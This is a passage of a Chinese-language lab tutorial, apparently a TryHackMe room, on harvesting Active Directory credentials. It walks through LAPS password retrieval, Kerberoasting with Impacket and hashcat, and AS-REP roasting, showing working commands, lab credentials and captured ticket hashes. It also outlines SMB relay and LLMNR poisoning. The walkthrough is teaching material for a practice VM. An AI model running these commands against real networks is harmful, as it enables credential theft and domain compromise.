问题是 GPP 相关 XML 文件包含使用 AES-256 位加密进行加密的密码。当时,加密已经足够好了,直到微软以某种方式在[MSDN]上发布了其私钥。由于域用户可以读取 SYSVOL 文件夹的内容,因此解密存储的密码变得很容易。破解SYSVOL加密密码的工具之一是Get-GPPPassword

本地管理员密码解决方案 (LAPS)

2015 年,Microsoft 删除了在 SYSVOL 文件夹中存储加密密码的做法。它推出了本地管理员密码解决方案 (LAPS),该解决方案提供了一种更安全的方法来远程管理本地管理员密码。

新方法包括 Active Directory 中计算机对象的两个新属性(ms-mcs-AdmPwd 和 ms-mcs-AdmPwdExpirationTime)。 ms-mcs-AdmPwd 属性包含本地管理员的明文密码,而 ms-mcs-AdmPwdExpirationTime 包含重置密码的过期时间。 LAPS 使用“admpwd.dll”更改本地管理员密码并更新“ms-mcs-AdmPwd”的值。

Computer Objects Attributes

枚举 LAPS

提供的虚拟机启用了 LAPS,所以让我们开始枚举它。首先,我们检查目标计算机上是否安装了 LAPS,这可以通过检查“admpwd.dll”路径来完成。

​ Enumerating for LAPS

           C:\Users\thm>dir "C:\Program Files\LAPS\CSE"
Volume in drive C has no label.
Volume Serial Number is A8A4-C362

Directory of C:\Program Files\LAPS\CSE

06/06/2022 01:01 PM .
06/06/2022 01:01 PM ..
05/05/2021 07:04 AM 184,232 AdmPwd.dll
1 File(s) 184,232 bytes
2 Dir(s) 10,306,015,232 bytes free

输出确认我们的机器上有 LAPS。让我们检查一下可用于 AdmPwd cmdlet 的可用命令,如下所示:

​ Listing the available PowerShell cmdlets for LAPS

           PS C:\Users\thm> Get-Command *AdmPwd*

CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS

接下来,我们需要找到哪个 AD 组织单元 (OU) 具有处理 LAPS 的“ExtendedRightHolder”属性。我们将使用“Find-AdmPwdExtendedRights”cmdlet 来提供正确的 OU。请注意,获取可用 OU 可以在枚举步骤中完成。本例中我们的 OU 目标是“THMorg”。您可以使用“-Identity *”参数列出所有可用的 OU。

​ Finding Users with AdmPwdExtendedRights Attribute

           PS C:\Users\thm> Find-AdmPwdExtendedRights -Identity THMorg

ObjectDN ExtendedRightHolders
-------- --------------------
OU=THMorg,DC=thm,DC=red {THM\THMGroupReader}

输出显示“THMorg”中的“THMGroupReader”组具有对 LAPS 的正确访问权限。让我们检查一下该组及其成员。

​ Finding Users belong to THMGroupReader Group

           PS C:\Users\thm> net groups "THMGroupReader"
Group name THMGroupReader
Comment

Members

-------------------------------------------------------------------------------
bk-admin
The command completed successfully.

PS C:\Users\victim> net user test-admin
User name test-admin
Full Name THM Admin Test Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never

[** Removed **]
Logon hours allowed All

Local Group Memberships
Global Group memberships *Domain Users *Domain Admins
*THMGroupReader *Enterprise Admins
The command completed successfully.

获取密码

我们发现“bk-admin”用户是“THMGroupReader”的成员,因此为了获取LAPS密码,我们需要破解或冒充bk-admin用户。在危及正确的用户后,我们可以通过为目标计算机提供启用了 LAPS 的功能,使用 Get-AdmPwdPassword cmdlet 获取 LAPS 密码。

​ Getting LAPS Password with the Right User

           PS C:\> Get-AdmPwdPassword -ComputerName creds-harvestin

ComputerName DistinguishedName Password ExpirationTimestamp
------------ ----------------- -------- -------------------
CREDS-HARVESTIN CN=CREDS-HARVESTIN,OU=THMorg,DC=thm,DC=red FakePassword 2/11/2338 11:05:2...

需要注意的是,在现实的 AD 环境中,LAPS 仅在特定计算机上启用。因此,您需要枚举并找到正确的目标计算机以及正确的用户帐户才能获取 LAPS 密码。有许多脚本可以帮助解决此问题,但我们在“C:\Tool”中包含了 LAPSToolkit PowerShell 脚本来尝试一下。

Other Attacks

在前面的任务中,假设我们已经对系统进行了初始访问,并尝试从内存或 Windows 操作系统中的各种文件获取凭据。在其他情况下,可以在受害网络中执行攻击以获取凭据。

本任务将简要介绍一些可用于获取哈希值的Windows和AD攻击。在深入了解更多 AD 攻击细节之前,我们建议先熟悉 Kerberos 协议 和新技术 LAN Manager (NTLM),这是一套使用的安全协议对用户进行身份验证。

Kerberoasting

Kerberoasting 是一种常见的 AD 攻击,旨在获取有助于持久性的 AD 票证。为了使这种攻击发挥作用,攻击者必须有权访问 SPN(服务主体名称)帐户,例如 IIS 用户、MSSQL 等。Kerberoasting 攻击涉及请求票证授予票证 (TGT) 和票证授予服务 (TGS)。此攻击的最终目标是实现权限升级和横向网络移动。有关攻击的更多详细信息,您可以访问 THM Persisting AD 房间(任务 3)。

让我们快速演示一下该攻击。首先,我们需要找到一个 SPN 帐户,然后我们可以发送请求来获取 TGS 票证。我们将使用 GetUserSPNs.py python 脚本从 AttackBox 执行 Kerberoasting 攻击。请记住使用带有 Passw0rd 的 THM.red/thm 帐户!作为密码。

​ Enumerating for SPN Accounts

           user@machine$ python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.10.3.192 THM.red/thm
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------- ------- -------- -------------------------- --------- ----------
http/creds-harvestin.thm.red svc-user 2022-06-04 00:15:18.413578

前面的命令很简单:我们提供域控制器 IP 地址和域名\用户名。然后,GetUserSPNs 脚本要求用户输入密码以检索所需信息。

输出显示我们有一个 SPN 帐户 svc-user。找到 SPN 用户后,我们可以使用 -request-user 参数发送单个请求来获取 srv-user 用户的 TGS 票证。

​ Requesting a TGS Ticket as SPN Account

           user@machine$ python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.10.3.192 THM.red/thm -request-user svc-user 
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------- ------- -------- -------------------------- --------- ----------
http/creds-harvestin.thm.red svc-user 2022-06-04 00:15:18.413578

[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc-user$THM.RED$THM.red/svc-user*$8f5de4211da1cd5715217[*REMOVED*]7bfa3680658dd9812ac061c5

现在,使用 HashCat 工具使用 -m 13100 模式破解获得的 TGS 票据,如下所示,

使用Hashcat破解TGS Ticket

user@machine$ hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt  

尝试通过查找 SPN 用户然后执行 Kerberoasting 攻击来针对连接的 VM 复制这些步骤。获得门票后,将其破解并回答以下问题。

AS-REP Roasting

AS-REP Roasting 是一种使攻击者能够检索其帐户选项已设置为“不需要 Kerberos 预身份验证”的 AD 用户的密码哈希值的技术。此选项依赖于旧的 Kerberos 身份验证协议,该协议允许无需密码的身份验证。一旦我们获得了哈希值,我们就可以尝试离线破解它,最后,如果可以破解,我们就得到了密码!

AS-REP Roasting

连接的 VM 具有配置了“不需要 Kerberos 预身份验证”设置的 AD 用户之一。在执行 AS-REP 烘焙之前,我们需要从枚举步骤中收集的域帐户列表。在我们的例子中,我们在 tmp 目录中创建了一个“users.lst”列表。以下是我们的列表内容,应在枚举过程中收集。

Administrator
admin
thm
test
sshd
victim
CREDS-HARVESTIN$

这次我们将使用 Impacket Get-NPUsers 脚本,如下所示,

对用户列表执行 AS-REP 烘焙攻击

           root@machine$ python3.9 /opt/impacket/examples/GetNPUsers.py -dc-ip 10.10.3.192 thm.red/ -usersfile /tmp/users.txt
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] User thm doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$victim@THM.RED:166c95418fb9dc495789fe9[**REMOVED**]1e8d2ef27$6a0e13abb5c99c07
[-] User admin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bk-admin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-user doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User thm-local doesn't have UF_DONT_REQUIRE_PREAUTH set

我们使用“-dc-ip”参数指定了域控制器的 IP 地址,并提供了要检查的域用户列表。一旦该工具找到没有预身份验证配置的正确用户,它将生成票证。

各种网络安全和黑客工具还可以破解从 Active Directory 获取的 TGT,包括 Rubeus 和 Hashcat。 Impacket GetNPUsers 可以选择使用“-format”参数将票证导出为 John 或 hashcat 格式。

SMB 中继攻击

SMB 中继攻击滥用 NTLM 身份验证机制(NTLM 质询-响应协议)。攻击者执行中间人攻击来监视和捕获 SMB 数据包并提取哈希值。要使此攻击起作用,必须禁用 SMB 签名。 SMB 签名是一种完整性安全检查,可确保可信来源之间的通信。

我们建议查看 THMExploiting AD 房间,了解有关 SMB 中继攻击的更多信息。

LLMNR/NBNS 中毒

如果 DNS 出现故障,链路本地多播名称解析 (LLMNR) 和 NetBIOS 名称服务 (NBT-NS) 可帮助本地网络计算机找到正确的计算机。例如,假设网络中的一台计算机尝试与不存在的 DNS 记录进行通信(DNS 无法解析)。在这种情况下,机器会通过 LLMNR 或 NBT-NS 向所有网络机器发送多播消息,请求正确的地址。

当攻击者欺骗网络上的权威源并使用主机识别服务响应链路本地多播名称解析 (LLMNR) 和 NetBIOS 名称服务 (NBT-NS) 流量时,就会发生 NBNS/LLMNR 中毒。如果您想了解有关该攻击的更多信息,我们建议查看 THM Breaching AD 房间。

SMB 中继和 LLMNR/NBNS 中毒攻击的最终目标是捕获受害者的身份验证 NTLM 哈希值,这有助于获取对受害者帐户或计算机的访问权限。

Conclusion

回顾

在这个房间里,我们讨论了获取用户凭据的各种方法,包括本地计算机和域控制器,得出的结论如下:

  • 我们讨论了访问 Windows 内存、转储 LSASS 进程以及提取身份验证哈希值。
  • 我们讨论了 Windows 凭据管理器和提取密码的方法。
  • 我们引入了 Windows LAPS 功能并枚举它来查找正确的用户和目标来提取密码。
  • 我们引入了 AD 攻击,导致转储和提取用户的凭据。

以下工具可能值得尝试扫描目标计算机(文件、内存等)以寻找敏感信息。我们建议在枚举阶段进行尝试。